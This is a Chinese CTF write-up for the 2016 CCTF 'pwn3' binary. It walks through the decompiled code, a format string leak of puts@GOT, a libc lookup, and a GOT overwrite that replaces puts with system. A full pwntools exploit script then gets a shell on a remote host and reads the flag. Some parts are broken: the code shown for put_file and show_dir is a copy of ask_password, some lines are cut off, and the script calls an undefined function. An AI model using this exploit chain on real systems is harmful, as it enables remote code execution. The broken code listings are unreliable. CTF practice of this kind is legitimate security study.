看雪 get_pwn3(2016 CCTF 中的 pwn3)
get_pwn3(2016 CCTF 中的 pwn3) 格式化字符串漏洞
get_pwn3(2016 CCTF 中的 pwn3)
(1)
motaly@motaly-VMware-Virtual-Platform:~/桌面$ file pwn3
pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=916959406d0c545f6971223c8e06bff1ed9ae74d, not stripped
motaly@motaly-VMware-Virtual-Platform:~/桌面$ checksec --file=pwn3
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 88 Symbols No 0 3 pwn3
(2)
用ida打开,按下F5(如果不行,看看有没有Fn键,Fn+F5)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{int command; // eaxchar s1[40]; // [esp+14h] [ebp-2Ch] BYREFint command_1; // [esp+3Ch] [ebp-4h]setbuf(stdout, 0);ask_username(s1);ask_password(s1);while ( 1 ){while ( 1 ){print_prompt();command = get_command();command_1 = command;if ( command != 2 )break;put_file();}if ( command == 3 ){show_dir();}else{if ( command != 1 )exit(1);get_file();}}
}
发现先是给了两个函数ask_username和ask_password函数,参数都为s1
char *__cdecl ask_username(char *dest)
{char src[40]; // [esp+14h] [ebp-34h] BYREFint i; // [esp+3Ch] [ebp-Ch]puts("Connected to ftp.hacker.server");puts("220 Serv-U FTP Server v6.4 for WinSock ready...");printf("Name (ftp.hacker.server:Rainism):");__isoc99_scanf("%40s", src);for ( i = 0; i <= 39 && src[i]; ++i )++src[i];return strcpy(dest, src);
}
这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于存储处理后的用户名
这里对输入数据的处理是通过循环遍历每个字符,并将每个字符的ASCII码值加1
int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}
这个函数主要是接受一个参数s1,是一个指向字符数组的指针,用于传入要验证的密码字符串
当传入的字符串为"sysbdmin"时,就会继续运行。
结合看两个函数,我们要输入rxraclhm(每个字母往前移一个),才能使程序运行
(3)
看下面的循环,主要的先是一个目录get_command函数
int get_command()
{char s1[12]; // [esp+1Ch] [ebp-Ch] BYREF__isoc99_scanf("%3s", s1);if ( !strncmp(s1, "get", 3u) )return 1;if ( !strncmp(s1, "put", 3u) )return 2;if ( !strncmp(s1, "dir", 3u) )return 3;return 4;
}
输入get---get_file函数
int get_file()
{char dest[200]; // [esp+1Ch] [ebp-FCh] BYREFchar s1[40]; // [esp+E4h] [ebp-34h] BYREFchar *i; // [esp+10Ch] [ebp-Ch]printf("enter the file name you want to get:");__isoc99_scanf("%40s", s1);if ( !strncmp(s1, "flag", 4u) )puts("too young, too simple");for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) ){if ( !strcmp(i, s1) ){strcpy(dest, i + 40);return printf(dest);}}return printf(dest);
}
这函数是获取用户输入的文件名,若存在会返回文件内容,没有此文件名,也会输出,但是�
(这里若我们先查看存在的文件,输出了文件内容,后面输入不存在的文件名,输出的内容是存在文件的文件内容和�)
这里还对敏感文件flag进行了限制,不能直接读取
还因为我们能控制dest的内容,所以存在格式化字符串漏洞
输入put---put_file函数
int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}
这个函数主要是输入文件名和文件内容
输入dir---show_dir函数
int __cdecl ask_password(char *s1)
{if ( strcmp(s1, "sysbdmin") ){puts("who you are?");exit(1);}return puts("welcome!");
}
这个函数是把我们存储的文件名依次拼接,存于一个字符数组中,最后把拼接好的完整文件名信息输出到标准输出
(应该是因为是链栈,后进先出,所以后输入的在前)
(4)
思路:
这里可以通过格式化字符串漏洞,修改puts函数的got表为system函数,并给一个"/bin/sh",来完成连接
1.先根据程序自定义构造函数put,got,这里我还构造了一个addr函数(获取puts函数地址)
addr函数:
先是利用put输入文件名为/sh,内容为b'%8$s'+p32(got_addr)
(%8$s会尝试读取该p32(got_addr)地址指向的内存内容)
然后通过get输出,获取puts函数地址
2.根据puts函数获取libc基地址,进而得到system地址
3.因为put可以输入,get可以输出(存在格式化字符串漏洞),所以通过这两个函数,得到偏移量
4.构造一条ROP链,通过格式化字符串漏洞把puts函数的got表地址改为system函数地址,并且再次用输入文件名为/bin,文件内容为payload,通过get输出
5.运用dir函数,因为函数会把文件名拼接,所以是"/bin/sh",而函数最后的返回puts函数已经是system函数,所以我们最后执行的是system("/bin/sh")
(5)
编写
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
sh = remote('123.57.66.184', 10072)
# sh = process('/home/motaly/桌面/pwn3')
elf=ELF('/home/motaly/桌面/pwn3')sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")def put(file_name, file_content):sh.recvuntil(b"ftp>")sh.sendline(b"put")sh.recvuntil(b"please enter the name of the file you want to upload:")sh.sendline(file_name)sh.recvuntil(b"then, enter the content:")sh.sendline(file_content)def get(file_name):sh.recvuntil(b"ftp>")sh.sendline(b"get")sh.recvuntil(b"enter the file name you want to get:")sh.sendline(file_name)def addr(got_addr):put(b'/sh', b'%8$s' + p32(got_addr)) #%8$s会尝试读取该p32(got_addr)地址指向的内存内容get(b'/sh')function_addr = u32(sh.recv(4))return function_addrputs_addr = addr(elf.got['puts'])
print("puts_addr"+hex(puts_addr))libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump('puts')
print("libc_base--->"+hex(libc_base))system_addr = libc_base + libc.dump('system')
print("system_addr--->"+hex(system_addr))payload = fmtstr_payload(7, {elf.got['puts']:system_addr})
debug(payload)
put(b'/bin', payload)
get(b'/bin')sh.sendline(b'dir')sh.interactive()
(4)
连接得到flag
[*] Switching to interactive mode
[DEBUG] Received 0x10d bytes:00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │*00000040 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 │ │ │ │ 0│00000050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │*00000090 20 20 20 20 20 20 20 20 20 20 20 20 04 20 20 20 │ │ │ │· │000000a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │*000000e0 20 20 20 20 20 20 20 3e 20 20 20 20 20 20 20 20 │ │ >│ │ │000000f0 20 20 20 20 20 20 20 20 f7 28 a0 04 08 2a a0 04 │ │ │·(··│·*··│00000100 08 2b a0 04 08 29 a0 04 08 66 74 70 3e │·+··│·)··│·ftp│>│0000010d0 \x04 > \xf7(\xa*\xa0\x0+\xa0\x0)\xa0\ls
[DEBUG] Sent 0x3 bytes:b'ls\n'
[DEBUG] Received 0x2d bytes:b'40_2016ccf_pwn3\n'b'bin\n'b'dev\n'b'flag\n'b'lib\n'b'lib32\n'b'lib64\n'
40_2016ccf_pwn3
bin
dev
flag
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:b'cat flag\n'
[DEBUG] Received 0x2b bytes:b'flag{98beaded-1acb-4d51-a309-9a93a9f02416}\n'
flag{98beaded-1acb-4d51-a309-9a93a9f02416}
相关文章:
看雪 get_pwn3(2016 CCTF 中的 pwn3)
get_pwn3(2016 CCTF 中的 pwn3) 格式化字符串漏洞 get_pwn3(2016 CCTF 中的 pwn3) (1) motalymotaly-VMware-Virtual-Platform:~/桌面$ file pwn3 pwn3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, …...
JAVA类和对象
实验目的: 1.掌握 Java 语言中类的定义、对象的创建、对象引用方法。 2.初步了解面向对象设计方法。 第一题: 设计一个自动铅笔类 AutoPencil,有 1 个属性 boolean penPoint(笔尖是否伸出),有 4 个函数&a…...
c#程序结构
C# 程序结构 一个 C# 程序主要包括以下部分: 命名空间声明(Namespace declaration)一个 classClass 方法Class 属性一个 Main 方法语句(Statements)& 表达式(Expressions)注释 C# 文件的…...
988主材订购单
每一个大项,都可以添加多行小项, 小项里的品牌,型号规格,单位都是下来框,数据是后台传过来的。是一个多维数组。 <view style"width: 150rpx;color:#000;position:relative">备注:</vie…...
elementui table禁用全选,一次限制勾选一项。
1、设置属性:selection-change“handleSelectionChange” <el-table:data"taskList"ref"tableDataRefs"selection-change"handleSelectionChange":header-cell-class-name"hideAllCheckbox">function handleSelecti…...
Invalid Executable The executable contains bitcode
xcode 升级到16之后项目运行调试都没有问题,但是最后在上传到appstore的时候出现问题了 比如这种类似的错误,网上查了一下解决方法 解决方案: 执行一下指令删除该framework的bitcode xcrun bitcode_strip ${framework_path} -r -o ${framewo…...
【天梯赛】L2_005 集合相似度(C++)
L2-005 集合相似度 - 团体程序设计天梯赛-练习集 代码实现(C) #include <iostream> #include <vector> #include <unordered_set> #include <iomanip>// 计算两个集合的相似度 double cal(const std::unordered_set<int>…...
Java【多线程】(7)常见的锁策略
目录 1.前言 2.正文 2.1悲观锁和乐观锁 2.2重量级锁和轻量级锁 2.3挂起等待锁和自旋锁 2.4互斥锁与读写锁 2.5可重入锁与不可重入锁 2.6公平锁与不公平锁 2.7synchronized优化 2.7.1锁升级 2.7.2锁消除 2.7.3锁粗化 3.小结 1.前言 哈喽大家好,今天来给…...
Android Compose 中获取和使用 Context 的完整指南
在 Android Jetpack Compose 中,虽然大多数 UI 组件不再需要直接使用 Context,但有时你仍然需要访问它来执行一些 Android 平台特定的操作。以下是几种在 Compose 中获取和使用 Context 的方法: 1. 使用 LocalContext 这是 Compose 中最常用…...
车载通信基础 --- 解密公开密钥基础设施(PKI)
我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 周末洗了一个澡,换了一身衣服,出了门却不知道去哪儿,不知道去找谁&am…...
深度强化学习基础 1:以狗狗学习握手为例
强化学习共同框架 在这个狗狗学习握手的场景中,强化学习的各个要素可以这样理解: 状态s(state): 狗狗所处的环境状况,比如主人伸出手掌的姿势、狗狗自身的姿势、周围的环境等。状态s描述了狗狗在特定时刻所感知到的环境信息。 动作a(action): 狗狗可以…...
【Kafka基础】topics命令行操作大全:高级命令解析(2)
1 强制删除主题 /export/home/kafka_zk/kafka_2.13-2.7.1/bin/kafka-topics.sh --delete \--zookeeper 192.168.10.33:2181 \--topic mytopic \--if-exists 参数说明: --zookeeper:直接连接Zookeeper删除(旧版本方式)--if-exists&…...
【redis】简介及在springboot中的使用
redis简介 基本概念 Redis,英文全称是Remote Dictionary Server(远程字典服务),是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。 与MySQL数据库不…...
Windwos的DNS解析命令nslookup
nslookup 解析dns的命令 有两种使用方式,交互式&命令行方式。 交互式 C:\Users\Administrator>nslookup 默认服务器: UnKnown Address: fe80::52f7:edff:fe28:35de> www.baidu.com 服务器: UnKnown Address: fe80::52f7:edff:fe28:35de非权威应答:…...
Vue.js 实现下载模板和导入模板、数据比对功能核心实现。
在前端开发中,数据比对是一个常见需求,尤其在资产管理等场景中。本文将基于 Vue.js 和 Element UI,通过一个简化的代码示例,展示如何实现“新建比对”和“开始比对”功能的核心部分。 一、功能简介 我们将聚焦两个核心功能&…...
通过世界排名第一的免费开源ERP,构建富有弹性的智能供应链
概述 现行供应链模式的结构性弱点凸显了对整个行业进行重塑的必要性。正确策略和支持可以帮助您重塑供应链,降低成本,实现业务转型。开源智造(OSCG)所推出的Odoo免费开源ERP解决方案,将供应链转化为具有快速响应能力的…...
自动驾驶数据闭环中的MLOps实践:Kubernetes、Kubeflow与PyTorch的协同应用
目录 1. 引言 2. 系统架构与技术栈 2.1 Kubernetes:弹性可伸缩的计算资源池 2.2 Kubeflow:端到端的MLOps工作流 2.3 PyTorch分布式训练:高效的模型训练引擎 3. 增强型数据处理技术 3.1 联邦学习聚合 3.2 在线学习更新 3.3 角落案例挖…...
如何在Linux中更改主机名?修改主机最新方法
hostname是一个Linux操作系统的常用功能,允许识别服务器, 这可用于容易地确定两个服务器之间的差异。 除了服务器的个人识别,主机名与大多数网络进程一起使用,其他应用程序也可能依赖于此,本期将指导大家如何在Linux中…...
分盘,内网
分盘 查看创建分区 # 查看磁盘信息(确认目标磁盘,如/dev/sda) lsblkfdisk -l# 启动fdisk工具(需root权限) sudo fdisk /dev/sda# 步骤1:删除旧分区表(谨慎操作!) Comma…...
SQL122 删除索引
alter table examination_info drop index uniq_idx_exam_id; alter table examination_info drop index full_idx_tag; 描述 请删除examination_info表上的唯一索引uniq_idx_exam_id和全文索引full_idx_tag。 后台会通过 SHOW INDEX FROM examination_info 来对比输出结果。…...
【SQL】子查询详解(附例题)
子查询 子查询的表示形式为:(SELECT 语句),它是IN、EXISTS等运算符的运算数,它也出现于FROM子句和VALUES子句。包含子查询的查询叫做嵌套查询。嵌套查询分为相关嵌套查询和不想关嵌套查询 WHERE子句中的子查询 比较运算符 子查询的结果是…...
AI和传统命理的结合
deepseek的火热 也带来了AI命理学的爆火 1. 精准解析:AI加持,数据驱动 通过先进的人工智能算法,我们对海量的传统命理知识进行了深度学习和整合。无论是八字排盘、紫微斗数,还是风水布局、生肖运势,AI都能根据您的个…...
Java设计模式之抽象工厂模式:从入门到架构级实践
设计模式是构建高质量软件的基石,而抽象工厂模式作为创建型模式的代表,不仅解决了对象创建的问题,更在架构设计中扮演着关键角色。本文将从基础到高阶、从单机到分布式,全面剖析抽象工厂模式的应用场景与实战技巧。 一、从问题出发…...
摄像头模块对焦方式的类型
摄像头模块的对焦方式直接影响成像清晰度和使用场景适应性,不同技术各有其优缺点。以下是常见对焦方式及其原理、特点和应用场景的详细说明: 1. 固定对焦(Fixed Focus) 原理:镜头固定在特定距离(…...
九屏图分析法以手机为例
九屏图的两种视角 时间九屏图:关注系统的时间演化(过去、现在、未来),强调技术或产品的生命周期。空间九屏图:关注系统的层次结构(子系统、本系统、超系统࿰…...
【模板】前缀和
链接:【模板】前缀和 题目描述 给定一个长度为n的数组a1,a2,....ana_1, a_2,....a_na1,a2,....an. 接下来有q次查询, 每次查询有两个参数l, r. 对于每个询问, 请输出alal1....ara_la_{l1}....a_ralal1....ar 输入描述: 第一行包含两个整数n和q. 第…...
微信小程序多线程的使用
微信小程序的多线程主要通过 Worker 实现,用于处理复杂计算任务以避免阻塞主线程。以下是完整的使用指南和最佳实践: 一、Worker 核心机制 运行环境隔离 主线程与 Worker 线程内存不共享通信通过 postMessage 完成(数据拷贝而非共享ÿ…...
FPGA设计职位介绍|如何成为一名合格的数字前端设计工程师?
近年来FPGA行业持续升温,随着国产替代浪潮的加快推进,国家对可重构计算、边缘计算、自主可控等领域的扶持力度不断加大,FPGA作为灵活性高、可编程性强的重要芯片种类,在人工智能、通信、工业控制等应用中广受青睐。FPGA人才长期紧…...
Shell 基础
刷题: 思维导图: #include <stdio.h> // 手动定义32位有符号整数的范围 #define INT_MAX 2147483647 #define INT_MIN (-2147483647 - 1) int reverse(int x) { int rev 0; // 初始化反转后的数字为0 while (x ! 0) { // 当x不为0时ÿ…...
软件信息安全性测试如何进行?有哪些注意事项?
随着信息技术的高速发展,软件已经成为我们生活和工作中不可或缺的一部分。然而,随着软件产品的广泛普及,软件信息安全性问题也日益凸显,因此软件信息安全性测试必不可少。那么软件信息安全性测试应如何进行呢?在进行过程中又有哪…...
ragflow开启https访问:浏览器将自签证书添加到受信任的根证书颁发机构 ,当证书过期,还需要添加吗?
核心机制解析 信任链原理: 当您将自签名证书添加到"受信任的根证书颁发机构"后,系统会永久信任该证书的颁发者身份但证书本身的有效期和密钥匹配仍需验证证书更新的两种情况: 相同密钥续期:如果新证书使用相同的密钥对,浏览器通常会保持信任重新生成密钥:如果执…...
ragflow开启https访问:自签证书到期了,如何自动生成新证书
自动生成和更新自签名证书的方案 对于使用公网IP和自签名证书的RagFlow服务,要实现证书的自动生成和更新,可以采用以下方案: 方案一:使用脚本自动更新(推荐) 1. 创建自动更新脚本 在服务器上创建 ./docker/nginx/auto_renew_cert.sh 文件: #!/bin/bash# 证书路径 C…...
LLM面试题八
推荐算法工程师面试题 二分类的分类损失函数? 二分类的分类损失函数一般采用交叉熵(Cross Entropy)损失函数,即CE损失函数。二分类问题的CE损失函数可以写成:其中,y是真实标签,p是预测标签,取值为0或1。 …...
小行星轨道预测是怎么做的?从天文观测到 AI 模型的完整路径
目录 ☄️ 小行星轨道预测是怎么做的?从天文观测到 AI 模型的完整路径 🌌 一、什么是小行星轨道预测? 🔭 二、观测数据从哪里来? 🧮 三、经典动力学方法:数值积分 🤖 四、现代方…...
华为OD机试2025A卷 - 正整数到excel编号之间的转换(Java Python JS C++ C )
最新华为OD机试 真题目录:点击查看目录 华为OD面试真题精选:点击立即查看 题目描述 用过 excel 的都知道excel的列编号是这样的: a b c … z aa ab ac … az ba bb bc … yz za zb zc … zz aaa aab aac … 分别代表以下编号: 1 2 3 … 26 27 28 29 … 52 53 54 55…...
2024年-全国大学生数学建模竞赛(CUMCM)试题速浏、分类及浅析
2024年-全国大学生数学建模竞赛(CUMCM)试题速浏、分类及浅析 全国大学生数学建模竞赛(China Undergraduate Mathematical Contest in Modeling)是国家教委高教司和中国工业与应用数学学会共同主办的面向全国大学生的群众性科技活动,目的在于激…...
Vue3 实现进度条组件
样式如下,代码如下 <script setup> import { computed, defineEmits, defineProps, onMounted, ref, watch } from vue// 定义 props const props defineProps({// 初始百分比initialPercentage: {type: Number,default: 0,}, })// 定义 emits const emits…...
I²S协议概述与信号线说明
IIS协议概述 IS(Inter-IC Sound)协议,又称 IIS(Inter-IC Sound),是一种专门用于数字音频数据传输的串行总线标准,由飞利浦(Philips)公司提出。该协议通常用于微控制器…...
Redis 面经
1、说说什么是 Redis? Redis 是 Remote Dictionary Service 三个单词中加粗字母的组合,是一种基于键值对的 NoSQL 数据库。但比一般的键值对,比如 HashMap 强大的多,Redis 中的 value 支持 string、hash、 list、set、zset、Bitmaps、Hyper…...
设计模式 四、行为设计模式(1)
在设计模式的世界里,23种经典设计模式通常被分为三大类:创建型、结构型和行为型。创建型设计模式关注对象创建的问题,结构性设计模式关注于类或对象的组合和组装的问题,行为型设计模式则主要关注于类或对象之间的交互问题。 行为设…...
Python错误分析与调试
在Python编程的过程中,我们难免会遇到各种各样的错误,而有效地分析和调试这些错误,能让我们的代码快速恢复正常运行,今天就来和大家聊聊Python中错误分析与调试的相关内容。 错误分析 Python中的错误大致可以分为语法错误和逻…...
vue实现大转盘抽奖
用vue实现一个简单的大转盘抽奖案例 大转盘 一 转盘布局 <div class"lucky-wheel-content"><div class"lucky-wheel-prize" :style"wheelStyle" :class"isStart ? animated-icon : "transitionend"onWheelTransitionE…...
《从零搭建Vue3项目实战》(AI辅助搭建Vue3+ElemntPlus后台管理项目)零基础入门系列第二篇:项目创建和初始化
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 《从零搭建Vue3项目实战》(AI辅助…...
yum拒绝连接
YUM 拒绝连接的解决方案 当遇到 yum 无法连接的问题时,通常可以通过更换为更稳定的镜像源来解决问题。以下是具体的解决方法: 更换为阿里云源 如果当前的 yum 配置文件存在问题或网络不稳定,可以尝试将其替换为阿里云的镜像源。 备份原始配…...
信息学奥赛一本通 1861:【10NOIP提高组】关押罪犯 | 洛谷 P1525 [NOIP 2010 提高组] 关押罪犯
【题目链接】 ybt 1861:【10NOIP提高组】关押罪犯 洛谷 P1525 [NOIP 2010 提高组] 关押罪犯 【题目考点】 1. 图论:二分图 2. 二分答案 3. 种类并查集 【解题思路】 解法1:种类并查集 一个囚犯是一个顶点,一个囚犯对可以看…...
代码随想录算法训练营第十一天
LeetCode/卡码网题目: 144. 二叉树的前序遍历94. 二叉树的中序遍历145. 二叉树的后序遍历102. 二叉树的层序遍历107.二叉树的层次遍历II199. 二叉树的右视图637. 二叉树的层平均值429. N 叉树的层序遍历515. 在每个树行中找最大值116. 填充每个节点的下一个右侧节点指针117. 填…...
浅谈进程的就绪状态与挂起状态
就绪状态 进程获得除 CPU 之外的所需资源,一旦得到 CPU 就可以立即运行,不能运行的原因是还是因为 CPU 的资源太少,只能等待分配 CPU 资源。在系统中,处于就绪状态的进程可能有多个,通常是将它们组成一个进程就绪队列…...
37、web前端开发之Vue3保姆教程(一)
一、课程简介 本课程旨在帮助学员从零基础逐步掌握Web前端开发的核心技术,涵盖当前前端开发中的关键工具和框架。课程内容包括: Vue 3:主流前端框架,支持组件化开发和响应式数据管理,帮助学员高效构建现代Web应用。TypeScript:增强版JavaScript,提供静态类型支持,提高…...
cenos7升级gcc 9.3和Qt5.15版本教程
cenos7升级gcc 9.3和Qt5.15版本教程 文章目录 cenos7升级gcc 9.3和Qt5.15版本教程0、背景1、现状2、目标和思路3、升级前环境准备3.1 虚拟机联网配置3.2 镜像设置 4、升级gcc 9.35 升级Qt6 测试验证7 总结 0、背景 之前编码的环境一直是“拿来主义”,拷贝现成的虚拟…...
Scala总结(七)
集合(二) 数组 不可变数组与可变数组的转换 arr1.toBuffer //不可变数组转可变数组 arr2.toArray //可变数组转不可变数组 arr2.toArray 返回结果才是一个不可变数组,arr2 本身没有变化arr1.toBuffer 返回结果才是一个可变数组ÿ…...